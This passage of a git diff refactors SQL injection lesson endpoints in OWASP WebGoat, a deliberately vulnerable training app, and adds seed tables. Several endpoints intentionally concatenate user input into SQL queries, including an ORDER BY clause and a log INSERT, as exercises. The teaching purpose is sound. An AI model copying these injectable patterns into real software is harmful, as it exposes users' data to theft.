|
while (results.next()) {
|
||||||
|
|
||||||
|
for (int i = 1; i < (numColumns + 1); i++) {
|
||||||
|
t.append(results.getString(i));
|
||||||
|
t.append(", ");
|
||||||
|
}
|
||||||
|
|
||||||
|
t.append("<br />");
|
||||||
|
}
|
||||||
|
|
||||||
// If they get back more than one user they succeeded
|
|
||||||
if (results.getRow() >= 6) {
|
|
||||||
return trackProgress(success().feedback("sql-injection.5a.success").output("Your query was: " + query + EXPLANATION).feedbackArgs(output.toString()).build());
|
|
||||||
} else {
|
|
||||||
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + query).build());
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().feedback("sql-injection.5a.no.results").output("Your query was: " + query).build());
|
t.append("Query Successful; however no data was returned from this query.");
|
||||||
|
|
||||||
}
|
|
||||||
} catch (SQLException sqle) {
|
|
||||||
|
|
||||||
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + query).build());
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query).build());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws SQLException {
|
|
||||||
int numColumns = resultsMetaData.getColumnCount();
|
|
||||||
results.beforeFirst();
|
|
||||||
StringBuilder t = new StringBuilder();
|
|
||||||
t.append("<p>");
|
|
||||||
|
|
||||||
if (results.next()) {
|
|
||||||
for (int i = 1; i < (numColumns + 1); i++) {
|
|
||||||
t.append(resultsMetaData.getColumnName(i));
|
|
||||||
t.append(", ");
|
|
||||||
}
|
|
||||||
|
|
||||||
t.append("<br />");
|
|
||||||
results.beforeFirst();
|
|
||||||
|
|
||||||
while (results.next()) {
|
|
||||||
|
|
||||||
for (int i = 1; i < (numColumns + 1); i++) {
|
|
||||||
t.append(results.getString(i));
|
|
||||||
t.append(", ");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
t.append("<br />");
|
t.append("</p>");
|
||||||
}
|
return (t.toString());
|
||||||
|
|
||||||
} else {
|
|
||||||
t.append("Query Successful; however no data was returned from this query.");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
t.append("</p>");
|
|
||||||
return (t.toString());
|
|
||||||
}
|
|
||||||
}
|
}
|
@ -26,10 +26,13 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
|
|
||||||
@ -38,59 +41,61 @@ import java.sql.*;
|
|||||||
@AssignmentHints(value = {"SqlStringInjectionHint5b1", "SqlStringInjectionHint5b2", "SqlStringInjectionHint5b3", "SqlStringInjectionHint5b4"})
|
@AssignmentHints(value = {"SqlStringInjectionHint5b1", "SqlStringInjectionHint5b2", "SqlStringInjectionHint5b3", "SqlStringInjectionHint5b4"})
|
||||||
public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/assignment5b")
|
private final DataSource dataSource;
|
||||||
@ResponseBody
|
|
||||||
public AttackResult completed(@RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) throws IOException {
|
|
||||||
return injectableQuery(login_count, userid);
|
|
||||||
}
|
|
||||||
|
|
||||||
protected AttackResult injectableQuery(String login_count, String accountName) {
|
public SqlInjectionLesson5b(DataSource dataSource) {
|
||||||
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
|
this.dataSource = dataSource;
|
||||||
try {
|
}
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
|
||||||
PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
|
||||||
|
|
||||||
int count = 0;
|
@PostMapping("/SqlInjection/assignment5b")
|
||||||
try {
|
@ResponseBody
|
||||||
count = Integer.parseInt(login_count);
|
public AttackResult completed(@RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) throws IOException {
|
||||||
} catch(Exception e) {
|
return injectableQuery(login_count, userid);
|
||||||
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
|
}
|
||||||
"<br> Your query was: " + queryString.replace("?", login_count)).build());
|
|
||||||
}
|
|
||||||
|
|
||||||
query.setInt(1, count);
|
protected AttackResult injectableQuery(String login_count, String accountName) {
|
||||||
//String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid = " + accountName, ;
|
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
|
||||||
try {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
|
PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
|
||||||
ResultSet.CONCUR_READ_ONLY);
|
|
||||||
ResultSet results = query.executeQuery();
|
|
||||||
|
|
||||||
if ((results != null) && (results.first() == true)) {
|
int count = 0;
|
||||||
ResultSetMetaData resultsMetaData = results.getMetaData();
|
try {
|
||||||
StringBuffer output = new StringBuffer();
|
count = Integer.parseInt(login_count);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
|
||||||
|
"<br> Your query was: " + queryString.replace("?", login_count)).build());
|
||||||
|
}
|
||||||
|
|
||||||
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
|
query.setInt(1, count);
|
||||||
results.last();
|
//String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid = " + accountName, ;
|
||||||
|
try {
|
||||||
|
ResultSet results = query.executeQuery();
|
||||||
|
|
||||||
// If they get back more than one user they succeeded
|
if ((results != null) && (results.first() == true)) {
|
||||||
if (results.getRow() >= 6) {
|
ResultSetMetaData resultsMetaData = results.getMetaData();
|
||||||
return trackProgress(success().feedback("sql-injection.5b.success").output("Your query was: " + queryString.replace("?", login_count)).feedbackArgs(output.toString()).build());
|
StringBuffer output = new StringBuffer();
|
||||||
} else {
|
|
||||||
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
|
||||||
}
|
|
||||||
|
|
||||||
} else {
|
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
|
||||||
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
|
results.last();
|
||||||
|
|
||||||
|
// If they get back more than one user they succeeded
|
||||||
|
if (results.getRow() >= 6) {
|
||||||
|
return trackProgress(success().feedback("sql-injection.5b.success").output("Your query was: " + queryString.replace("?", login_count)).feedbackArgs(output.toString()).build());
|
||||||
|
} else {
|
||||||
|
return trackProgress(failed().output(output.toString() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
|
||||||
|
|
||||||
// output.append(getLabelManager().get("NoResultsMatched"));
|
// output.append(getLabelManager().get("NoResultsMatched"));
|
||||||
}
|
}
|
||||||
} catch (SQLException sqle) {
|
} catch (SQLException sqle) {
|
||||||
|
|
||||||
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
return trackProgress(failed().output(sqle.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
@ -25,20 +25,29 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import java.util.Calendar;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
import java.text.SimpleDateFormat;
|
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
|
import java.text.SimpleDateFormat;
|
||||||
|
import java.util.Calendar;
|
||||||
|
|
||||||
|
import static java.sql.ResultSet.*;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint.8.1", "SqlStringInjectionHint.8.2", "SqlStringInjectionHint.8.3", "SqlStringInjectionHint.8.4", "SqlStringInjectionHint.8.5"})
|
@AssignmentHints(value = {"SqlStringInjectionHint.8.1", "SqlStringInjectionHint.8.2", "SqlStringInjectionHint.8.3", "SqlStringInjectionHint.8.4", "SqlStringInjectionHint.8.5"})
|
||||||
public class SqlInjectionLesson8 extends AssignmentEndpoint {
|
public class SqlInjectionLesson8 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson8(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/attack8")
|
@PostMapping("/SqlInjection/attack8")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {
|
public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {
|
||||||
@ -49,11 +58,9 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
|
|||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
|
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
|
||||||
|
|
||||||
try {
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
|
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
|
||||||
log(connection, query);
|
log(connection, query);
|
||||||
ResultSet results = statement.executeQuery(query);
|
ResultSet results = statement.executeQuery(query);
|
||||||
|
|
||||||
@ -126,7 +133,7 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
|
|||||||
String log_query = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
|
String log_query = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Statement statement = connection.createStatement();
|
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
|
||||||
statement.executeUpdate(log_query);
|
statement.executeUpdate(log_query);
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
System.err.println(e.getMessage());
|
System.err.println(e.getMessage());
|
||||||
|
@ -26,21 +26,30 @@ package org.owasp.webgoat.sql_injection.introduction;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
import java.sql.SQLException;
|
import java.sql.SQLException;
|
||||||
import java.sql.Statement;
|
import java.sql.Statement;
|
||||||
|
|
||||||
|
import static java.sql.ResultSet.CONCUR_READ_ONLY;
|
||||||
|
import static org.hsqldb.jdbc.JDBCResultSet.*;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint.9.1", "SqlStringInjectionHint.9.2", "SqlStringInjectionHint.9.3", "SqlStringInjectionHint.9.4", "SqlStringInjectionHint.9.5"})
|
@AssignmentHints(value = {"SqlStringInjectionHint.9.1", "SqlStringInjectionHint.9.2", "SqlStringInjectionHint.9.3", "SqlStringInjectionHint.9.4", "SqlStringInjectionHint.9.5"})
|
||||||
public class SqlInjectionLesson9 extends AssignmentEndpoint {
|
public class SqlInjectionLesson9 extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public SqlInjectionLesson9(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjection/attack9")
|
@PostMapping("/SqlInjection/attack9")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {
|
public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {
|
||||||
@ -50,15 +59,12 @@ public class SqlInjectionLesson9 extends AssignmentEndpoint {
|
|||||||
protected AttackResult injectableQueryIntegrity(String name, String auth_tan) {
|
protected AttackResult injectableQueryIntegrity(String name, String auth_tan) {
|
||||||
StringBuffer output = new StringBuffer();
|
StringBuffer output = new StringBuffer();
|
||||||
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
|
String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
|
||||||
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
try {
|
|
||||||
Connection connection = DatabaseUtilities.getConnection(getWebSession());
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
|
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
|
||||||
SqlInjectionLesson8.log(connection, query);
|
SqlInjectionLesson8.log(connection, query);
|
||||||
ResultSet results = statement.executeQuery(query);
|
ResultSet results = statement.executeQuery(query);
|
||||||
|
var test = results.getRow() != 0;
|
||||||
if (results.getStatement() != null) {
|
if (results.getStatement() != null) {
|
||||||
if (results.first()) {
|
if (results.first()) {
|
||||||
output.append(SqlInjectionLesson8.generateTable(results));
|
output.append(SqlInjectionLesson8.generateTable(results));
|
||||||
@ -66,7 +72,6 @@ public class SqlInjectionLesson9 extends AssignmentEndpoint {
|
|||||||
// no results
|
// no results
|
||||||
return trackProgress(failed().feedback("sql-injection.8.no.results").build());
|
return trackProgress(failed().feedback("sql-injection.8.no.results").build());
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
System.err.println(e.getMessage());
|
System.err.println(e.getMessage());
|
||||||
@ -84,20 +89,20 @@ public class SqlInjectionLesson9 extends AssignmentEndpoint {
|
|||||||
private AttackResult checkSalaryRanking(Connection connection, StringBuffer output) {
|
private AttackResult checkSalaryRanking(Connection connection, StringBuffer output) {
|
||||||
try {
|
try {
|
||||||
String query = "SELECT * FROM employees ORDER BY salary DESC";
|
String query = "SELECT * FROM employees ORDER BY salary DESC";
|
||||||
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
|
try (Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
|
||||||
ResultSet results = statement.executeQuery(query);
|
) {
|
||||||
|
ResultSet results = statement.executeQuery(query);
|
||||||
|
|
||||||
results.first();
|
results.first();
|
||||||
// user completes lesson if John Smith is the first in the list
|
// user completes lesson if John Smith is the first in the list
|
||||||
if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) {
|
if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) {
|
||||||
output.append(SqlInjectionLesson8.generateTable(results));
|
output.append(SqlInjectionLesson8.generateTable(results));
|
||||||
return trackProgress(success().feedback("sql-injection.9.success").output(output.toString()).build());
|
return trackProgress(success().feedback("sql-injection.9.success").output(output.toString()).build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().feedback("sql-injection.9.one").output(output.toString()).build());
|
return trackProgress(failed().feedback("sql-injection.9.one").output(output.toString()).build());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
System.err.println(e.getMessage());
|
|
||||||
return trackProgress(failed().feedback("sql-injection.error").output("<br><span class='feedback-negative'>" + e.getMessage() + "</span>").build());
|
return trackProgress(failed().feedback("sql-injection.error").output("<br><span class='feedback-negative'>" + e.getMessage() + "</span>").build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -26,12 +26,10 @@ import com.google.common.collect.Lists;
|
|||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import java.sql.PreparedStatement;
|
import java.sql.PreparedStatement;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
@ -45,6 +43,8 @@ import java.util.List;
|
|||||||
@RequestMapping("SqlInjectionMitigations/servers")
|
@RequestMapping("SqlInjectionMitigations/servers")
|
||||||
public class Servers {
|
public class Servers {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Getter
|
@Getter
|
||||||
private class Server {
|
private class Server {
|
||||||
@ -57,14 +57,15 @@ public class Servers {
|
|||||||
private String description;
|
private String description;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Autowired
|
public Servers(DataSource dataSource) {
|
||||||
private WebSession webSession;
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public List<Server> sort(@RequestParam String column) {
|
public List<Server> sort(@RequestParam String column) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
Connection connection = dataSource.getConnection();
|
||||||
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
|
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
|
||||||
ResultSet rs = preparedStatement.executeQuery();
|
ResultSet rs = preparedStatement.executeQuery();
|
||||||
List<Server> servers = Lists.newArrayList();
|
List<Server> servers = Lists.newArrayList();
|
||||||
|
@ -22,23 +22,20 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.sql_injection.mitigation;
|
package org.owasp.webgoat.sql_injection.mitigation;
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@Slf4j
|
@Slf4j
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-10a2"})
|
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-10a2"})
|
||||||
public class SqlInjectionLesson10a extends AssignmentEndpoint {
|
public class SqlInjectionLesson10a extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
|
||||||
private WebSession webSession;
|
|
||||||
private String[] results = {"getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString"};
|
private String[] results = {"getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString"};
|
||||||
|
|
||||||
@PostMapping("/SqlInjectionMitigations/attack10a")
|
@PostMapping("/SqlInjectionMitigations/attack10a")
|
||||||
@ -47,15 +44,15 @@ public class SqlInjectionLesson10a extends AssignmentEndpoint {
|
|||||||
String[] userInput = {field1, field2, field3, field4, field5, field6, field7};
|
String[] userInput = {field1, field2, field3, field4, field5, field6, field7};
|
||||||
int position = 0;
|
int position = 0;
|
||||||
boolean completed = false;
|
boolean completed = false;
|
||||||
for(String input : userInput) {
|
for (String input : userInput) {
|
||||||
if(input.toLowerCase().contains(this.results[position].toLowerCase())) {
|
if (input.toLowerCase().contains(this.results[position].toLowerCase())) {
|
||||||
completed = true;
|
completed = true;
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
position++;
|
position++;
|
||||||
}
|
}
|
||||||
if(completed) {
|
if (completed) {
|
||||||
return trackProgress(success().build());
|
return trackProgress(success().build());
|
||||||
}
|
}
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
|
@ -27,42 +27,40 @@ import lombok.extern.slf4j.Slf4j;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import java.sql.PreparedStatement;
|
import java.sql.PreparedStatement;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 6/13/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
|
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
private final DataSource dataSource;
|
||||||
private WebSession webSession;
|
|
||||||
|
public SqlInjectionLesson12a(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
@PostMapping("/SqlInjectionMitigations/attack12a")
|
@PostMapping("/SqlInjectionMitigations/attack12a")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public AttackResult completed(@RequestParam String ip) {
|
public AttackResult completed(@RequestParam String ip) {
|
||||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
try (Connection connection = dataSource.getConnection()) {
|
||||||
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
|
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
|
||||||
preparedStatement.setString(1, ip);
|
preparedStatement.setString(1, ip);
|
||||||
preparedStatement.setString(2, "webgoat-prd");
|
preparedStatement.setString(2, "webgoat-prd");
|
||||||
ResultSet resultSet = preparedStatement.executeQuery();
|
ResultSet resultSet = preparedStatement.executeQuery();
|
||||||
if (resultSet.next()) {
|
if (resultSet.next()) {
|
||||||
return trackProgress(success().build());
|
return trackProgress(success().build());
|
||||||
|
}
|
||||||
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
return trackProgress(failed().build());
|
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -0,0 +1,13 @@
|
|||||||
|
CREATE TABLE servers(
|
||||||
|
id varchar(10),
|
||||||
|
hostname varchar(20),
|
||||||
|
ip varchar(20),
|
||||||
|
mac varchar(20),
|
||||||
|
status varchar(20),
|
||||||
|
description varchar(40)
|
||||||
|
);
|
||||||
|
INSERT INTO servers VALUES ('1', 'webgoat-dev', '192.168.4.0', 'AA:BB:11:22:CC:DD', 'online', 'Development server');
|
||||||
|
INSERT INTO servers VALUES ('2', 'webgoat-tst', '192.168.2.1', 'EE:FF:33:44:AB:CD', 'online', 'Test server');
|
||||||
|
INSERT INTO servers VALUES ('3', 'webgoat-acc', '192.168.3.3', 'EF:12:FE:34:AA:CC', 'offline', 'Acceptance server');
|
||||||
|
INSERT INTO servers VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34:AA:CC', 'offline', 'Pre-production server');
|
||||||
|
INSERT INTO servers VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server');
|
@ -0,0 +1,24 @@
|
|||||||
|
CREATE TABLE user_data(
|
||||||
|
userid int not null,
|
||||||
|
first_name varchar(20),
|
||||||
|
last_name varchar(20),
|
||||||
|
cc_number varchar(30),
|
||||||
|
cc_type varchar(10),
|
||||||
|
cookie varchar(20),
|
||||||
|
login_count int
|
||||||
|
);
|
||||||
|
INSERT INTO user_data VALUES (101,'Joe','Snow','987654321','VISA',' ',0);
|
||||||
|
INSERT INTO user_data VALUES (101,'Joe','Snow','2234200065411','MC',' ',0);
|
||||||
|
